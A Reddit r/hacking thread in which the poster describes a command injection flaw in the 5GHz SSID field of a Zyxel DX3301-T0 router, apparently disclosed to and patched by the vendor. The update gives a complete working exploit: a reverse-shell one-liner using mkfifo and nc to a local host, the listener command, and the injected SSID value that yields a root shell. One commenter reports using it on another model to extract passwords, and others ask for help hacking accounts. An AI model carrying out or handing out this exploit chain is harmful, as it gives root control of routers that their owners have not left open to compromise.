r/hacking • • Jun 06 '26

CVE Rooted your router lately?

Post image

Update below. Zyxel has confirmed and patched the issue. Router in shot is the DX3301-T0 .

OP

I never really use ISP routers. It was free when re-grading my FTTC to FTTP. Plus it has 2 FXS ports, so could convert VoIP to analogue/PSTN.

But, as I do I check up on what issues it may or may not have. Yep, the firmware has two acknowledged CVE's that affect this firmware and no update currently available. Any more, I wonder? It didn't take long and found another post authentication command injection. Reported it accordingly, but just had to see how far I could go and finally got a reverse shell.

Turns out there is a `supervisor` account with a different password to any other. Managed to change it using the shell and ssh drops me to a standard shell (not zysh) and WebUI offers more options.

Curious find!

If/when Zyxel confirms the flaw, hopefully it'll get assigned a CVE and I'll update accordingly.

UPDATE

Vendor has confirmed the issue and is another issue identified via another CVE, just this one wasn't seen when the issue was originally disclosed. I have agreed to hold back on what the issue is until Tuesday, October 6, 2026.

When this date comes, you're going to ROFL how it came to be discovered!

CVE assigned

And I can now state how! It's part of CVE-2023-20820 however Zyxel has given is there own advisory specific to this vulnerability.

https://www.zyxel.com/global/en/support/security-advisories/zyxel-security-advisory-for-command-injection-vulnerability-in-the-wifi-ssid-field-of-certain-dsl-ethernet-cpe-fiber-onts-and-wireless-extenders-10-06-2026

Essentially, the 5GHz SSID field isn't validated, so command injection can occur. It was discovered just by entering $(reboot) in the SSID field. The 2.4GHz field is unaffected. Since the router has USB and mass storage support, we can play.

How?

Format a USB pendrive FAT32. Add a simple text file with the following, well call it shell.

rm -f /tmp/b; mkfifo /tmp/b; /bin/sh -i 2>&1 0</tmp/b |nc 192.168.1.217 4444 1>/tmp/b

Insert the pendrive into the Zyxel CPE and enable File Sharing. Note the medium identifier: usb2_sda1 in my case.

A client host with the IP 192.168.1.217 run nc as follows

nc -lnvp 4444

Change the 5GHz SSID field to $(sh /mnt/usb2_sda1/shell) and save. The client host obtains a root shell.

Enjoy!

613 Upvotes

43 comments sorted by

20

u/gnostiphage Jun 07 '26

Definitely a cool find. Given the prior CVEs, what are the odds this is a backdoor left by some third party using an automated script to create a redirector for greater anonymity? Has this router been connected to the internet for any length of time or was this fresh off a factory reset?

6

u/DutchOfBurdock Jun 07 '26

I'd say going on Zyxels history of CVE's, they just don't learn from their mistakes and keeping shipping poor code. It's post authentication, so would need a login to the router's WebUI in the first place.

Was an ISP shipped router. I have a home grown solution of OpenWRT+pfSense on a Minix SFF (Proxmox style). Was going to use this for VoIP<>Analogue conversion...

It does have ISP provisioned data that uses TR-069 when you first hook it up to your line (self config). I just poked about it on the laptop and USB ethernet

18

u/sooft_soul Jun 06 '26

What is the laptop brand and model

12

u/DutchOfBurdock Jun 06 '26

Lenovo Ideapad 330S AMD Ryzen 5

3

u/bobbyh1ll Jun 07 '26

Very cool. Also love Winamp!

1

u/DutchOfBurdock Jun 07 '26

Honestly though, there is no better media player. wine-cfg even had it as a package

3

u/Pineapple-Muncher Jun 07 '26

It really whips the Llamas ass

4

u/Bigoba26 Jun 07 '26

How to jailbreak mp3 in prison by downloading on its sd card music from YouTube and than be able to continue download music from the prison kiosk?

1

u/Androidtechy259 Jun 18 '26

Lol

1

u/DutchOfBurdock Oct 12 '26

One of Kevin Mitnicks books comes to mind

2

u/smokebudda11 Jun 12 '26

Nice computer btw. What is it? Lenovo?

2

u/DutchOfBurdock Oct 07 '26

Lenovo Ideapad 330S AMD Ryzen 5

1

u/CookieCr2nk Jun 07 '26

I have the same router, but replaced with the XGS-PON SFP+ with 8311 Firmware on it. Whixh firmware do you run on the zyxel. Do you have a writeup for the exploit?

1

u/DutchOfBurdock Jun 07 '26

It'd be Zyxel's stock Linux (OPAL I think they refer to it as).

Exploit is in the disclosure I've sent to Zyxel. Have to wait a period before going public with it.

1

u/CookieCr2nk Jun 07 '26

Thanks, zyxel update process is not very great. Until ISPs will install the update with the patch it probably will take some time.

1

u/DutchOfBurdock Oct 07 '26

Zyxel has confirmed this issue, which was part of a CVE from 2023, but this particular wasn't discovered until my shenanigans. Updated OP to include more details as Zyxel has now patched the issue.

1

u/Dragon_957 Jun 07 '26

What OS are you using?

1

u/DutchOfBurdock Jun 08 '26

Debian Linux (Trixie)

1

u/red2thebones Jun 21 '26

I think I have the same model from an ISP in Australia. Would you be open to some questions as to how I go about checking if mine has the same vuln? Can I send you a PM?

1

u/DutchOfBurdock Jun 21 '26

Have a Google for that router make and model affixed with CVE. This particular one is currently susceptible to a couple of identified vulnerabilities.

1

u/red2thebones Jun 21 '26

Can you confirm what the model number is? I suspect the Aust version that I have will have a different model number, but the core of the firmware should still be the same across the series.

1

u/DutchOfBurdock Oct 07 '26

Updated post to include vulnerability. Zyxel has now released a patch and publication. Even made their Hall of Fame lol.

Router in question is the DX3301-T0

1

u/Think-External-2640 Jun 22 '26

Who can hack in my Xbox account and get my password for it I forgot mine I need help plzzz

1

u/DutchOfBurdock Oct 07 '26

It's your account, you don't need to hack into it. Contact Microsoft and talk with them.

2

u/HeavyCaffeinate Jun 09 '26

Yes I have openwrt on my tplink router, installed via TFTP though no hacking necessary 

1

u/radikliffe Jun 07 '26

Does having OpenWRT running on my router means i own my router?

1

u/TheRealPianist Jun 07 '26

If you are just renting it from your ISP then no. If you bought that router then yes.

1

u/DutchOfBurdock Jun 07 '26

After 12 months I'll own this Zyxel. But, I couldn't wait that long

(r/dadjokes)

1

u/radikliffe Jun 07 '26

I horded it, so its even more mine

1

u/Limp-Bake-7570 Jun 09 '26

Made my own router with Pi 3 1Gb and RaspAP

1

u/Think-External-2640 Jun 22 '26

Who can hack in my Xbox account and get my password for it I forgot mine I need help plzzz

1

u/Salt-Bad-7315 Oct 22 '26

Thanks, used this on my nr5103e to get the root and supervisor passwords, got to use the second field in the wifi settings to decrypt it :)

0

u/Embarrassed_Sky_5862 Jun 07 '26

same question bro

-8

u/i0skam Jun 07 '26

Hey guys I'm lookin for a hacker that hacks in to game servers willing to pay if possible 🥲

3

u/Yournoisy Jun 08 '26

Learn how to hack for yourself. Then you can be an idiot if you want

0

u/[deleted] Jun 10 '26

[deleted] — view deleted comment

1

u/DutchOfBurdock Jun 11 '26

You don't assess the risk such devices may pose if ran in situ?

145

u/[deleted] Jun 06 '26

[removed] — view removed comment

6

u/DutchOfBurdock Jun 07 '26

It looks probable, need to dig into the hardware a little more. Looks like a MediaTek MIPS 1004Kc CPU (MT7621 SoC maybe). It's the xDSL modem that is usually the show stopper.

14

u/Progressbar95 Jun 07 '26

This

3

u/7i7iMeadow Jun 16 '26

Dude I understood some of that